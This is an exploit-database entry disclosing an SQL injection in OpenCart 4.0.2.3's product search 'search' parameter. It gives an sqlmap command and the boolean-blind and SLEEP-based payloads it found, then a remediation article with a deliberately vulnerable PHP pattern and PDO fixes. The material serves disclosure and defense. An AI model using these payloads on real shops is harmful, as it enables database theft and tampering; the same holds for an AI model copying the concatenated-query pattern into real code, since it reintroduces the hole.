OpenCart Core 4.0.2.3 - 'search' SQLi

Exploit Author: Saud Alenazi Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-02
# Exploit Title: OpenCart Core 4.0.2.3 - 'search' SQLi
# Date: 2024-04-2
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://github.com/opencart/opencart/releases
# Version: 4.0.2.3
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :
Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Steps to Reproduce :
- Go to : http://127.0.0.1/index.php?route=product/search&search=test
- New Use command Sqlmap : sqlmap -u "http://127.0.0.1/index.php?route=product/search&search=#1" --level=5 --risk=3 -p search --dbs
===========
Output :
Parameter: search (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: route=product/search&search=') AND 2427=2427-- drCa
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: route=product/search&search=') AND (SELECT 8368 FROM (SELECT(SLEEP(5)))uUDJ)-- Nabb


OpenCart Core 4.0.2.3 — "search" parameter SQL Injection: analysis, impact, and remediation

This article explains a SQL Injection weakness reported in OpenCart Core 4.0.2.3 that affects the search parameter used by the product search endpoint. It covers how the vulnerability arises, the real-world impact, secure coding fixes, safe testing guidance, and operational mitigations. The goal is to help developers, maintainers, and security teams remediate the issue and prevent similar flaws in the future.

Summary

  • Vulnerability: SQL Injection (unsanitized/concatenated input in a WHERE/HAVING clause)
  • Affected component: product search route (GET parameter: search) in OpenCart 4.0.2.3
  • Impact: Data exposure, data modification, authentication bypass, or full application/database compromise depending on privileges
  • Remediation: Stop concatenating user input into SQL; use parameterized queries/prepared statements, validate and normalize input, patch or update the application

Vulnerability details (root cause)

The core problem is constructing SQL statements by concatenating raw user input (the search term) directly into the query string. When data from a GET parameter is combined into a WHERE/HAVING clause without proper binding or strict validation, it enables a remote attacker to manipulate the query logic and inject arbitrary SQL.

Why this is dangerous

  • Search endpoints are reachable and frequently indexed by automated scanners, so an injectable search parameter is a high-risk target.
  • An attacker can modify queries to enumerate data, retrieve sensitive rows, or escalate to data modification if database privileges allow.
  • Even if the immediate application logic seems limited, injected queries can be used to probe the DB engine for further weaknesses.

Vulnerability snapshot

Item Details
Component OpenCart Core product search (route=product/search)
Parameter GET: search
Exploit type SQL Injection — boolean/time-based, UNION, or retrieval depending on DB
Remediation strategy Parameterization, input validation, least privilege, update to patched release

Example of a vulnerable pattern (illustrative)

// Vulnerable PHP pattern (illustrative only)
$search = $_GET['search']; // user-controlled input
$sql = "SELECT * FROM product WHERE name LIKE '%" . $search . "%'";
// executing $sql directly against DB

Explanation: This code concatenates raw user input into an SQL statement. If the input contains SQL metacharacters, an attacker can alter the intended query. The snippet is intentionally simple to show the dangerous pattern: do not construct queries by concatenating untrusted input.

Secure fixes — examples and explanations

Best practice is to use parameterized queries (prepared statements) and to validate or normalize input before using it in a query. Below are two practical approaches: one using PDO (recommended for new code) and one using OpenCart-style safe handling where direct binding is not available.

1) Safe pattern with PDO (recommended)
// Secure PDO example (bind parameter)
$search = trim(mb_substr($_GET['search'] ?? '', 0, 200)); // limit length
// optional whitelist normalization: allow letters, numbers, spaces, and basic punctuation
if (!preg_match('/^[\p{L}\p{N}\s\-\._,]+$/u', $search)) {
    $search = preg_replace('/[^\p{L}\p{N}\s\-\._,]+/u', '', $search);
}

$pdo = new PDO($dsn, $user, $pass, $options);
$stmt = $pdo->prepare("SELECT * FROM product WHERE name LIKE :name");
$param = '%' . $search . '%';
$stmt->bindParam(':name', $param, PDO::PARAM_STR);
$stmt->execute();
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

Explanation: This code trims and limits the input length, optionally strips disallowed characters, and uses a prepared statement with a bound parameter for the LIKE expression. By binding the parameter, user input cannot change the SQL structure. Length limiting and normalization reduce attack surface and prevent overly long payloads.

2) Using OpenCart DB layer safely (illustrative)
// Example pattern for frameworks with limited binding APIs
$search = trim(mb_substr($this->request->get['search'] ?? '', 0, 200));

// Prefer a binding API if available; if not, escape and use strict whitelisting
// Example uses OpenCart's escape as a last-resort sanitize step
$search_safe = $this->db->escape($search);
$sql = "SELECT * FROM " . DB_PREFIX . "product WHERE name LIKE '%" . $search_safe . "%'";
// execute via the framework's query method
$query = $this->db->query($sql);

Explanation: If the environment does not support true prepared statements, the next-best options are: escape inputs via a trusted escape function, enforce strict input validation (whitelists), and keep inputs length-limited. Escaping alone is weaker than parameterization, so plan for migrating to APIs that support bindings, or use PDO/mysqli prepared statements for critical queries.

Input validation and normalization recommendations

  • Enforce a maximum length for search strings (e.g., 100–255 characters) to limit abuse.
  • Apply character whitelists when plausible (e.g., letters, digits, spaces, punctuation needed for searches).
  • Normalize Unicode input (NFC/NFD) to avoid bypasses based on equivalent codepoints.
  • Reject or strictly sanitize control characters, SQL metacharacters are less dangerous when combined with parameterization but still validate.

Testing and detection (safe guidance)

  • Code review: search for concatenated SQL strings that include request parameters. Lines that build SQL with " . $_GET" or similar are a red flag.
  • Static analysis: run SAST tools that flag dynamic SQL construction and tainted data flows.
  • Dynamic testing: use non-destructive inputs to confirm behavior (for example: regular alphanumeric strings, very long strings to test limits, and benign pattern variations). Avoid using harmful payloads or instructing others how to exploit vulnerabilities.
  • Review DB logs and application logs for anomalous queries and patterns originating from search endpoints.

Operational mitigations

  • Upgrade: apply vendor patches or update OpenCart to a patched release as soon as available.
  • Database privileges: ensure the web application's DB user has the minimum required privileges (avoid granting DROP, DROP TABLE, or administrative rights where not needed).
  • Web Application Firewall (WAF): deploy a WAF with tuned rules to block known dangerous patterns and reduce attack noise (but do not rely on WAF as the only protection).
  • Rate limiting and monitoring: throttle search requests from single IPs and monitor spikes that may indicate automated scanning.

Patch management and responsible disclosure

When a vulnerability is confirmed in an upstream project, coordinate with the vendor and/or upstream maintainers to obtain a patch and upgrade path. Apply patches in staging, run regression tests (functional and security), and deploy to production following your change control process. If you discover a vulnerability, follow responsible disclosure practices: notify maintainers privately, provide reproduction steps limited to maintainers, and allow reasonable time for mitigation before public disclosure.

Long-term secure development practices

  • Prefer parameterized queries and ORM abstractions that hide raw SQL from application code.
  • Include security-focused code reviews as part of the peer-review process.
  • Add automated security tests to CI (SAST and dependency scanners).
  • Maintain a security policy for third-party contributions and upgrades.

Final notes

This article focused on diagnosing and fixing SQL injection risks associated with a search parameter in an e-commerce application. The primary takeaways are: never concatenate untrusted input into SQL, prefer parameterized queries, validate and normalize input, and keep application and database privileges tightly constrained. Following these principles greatly reduces the risk of SQL injection and other input-related vulnerabilities.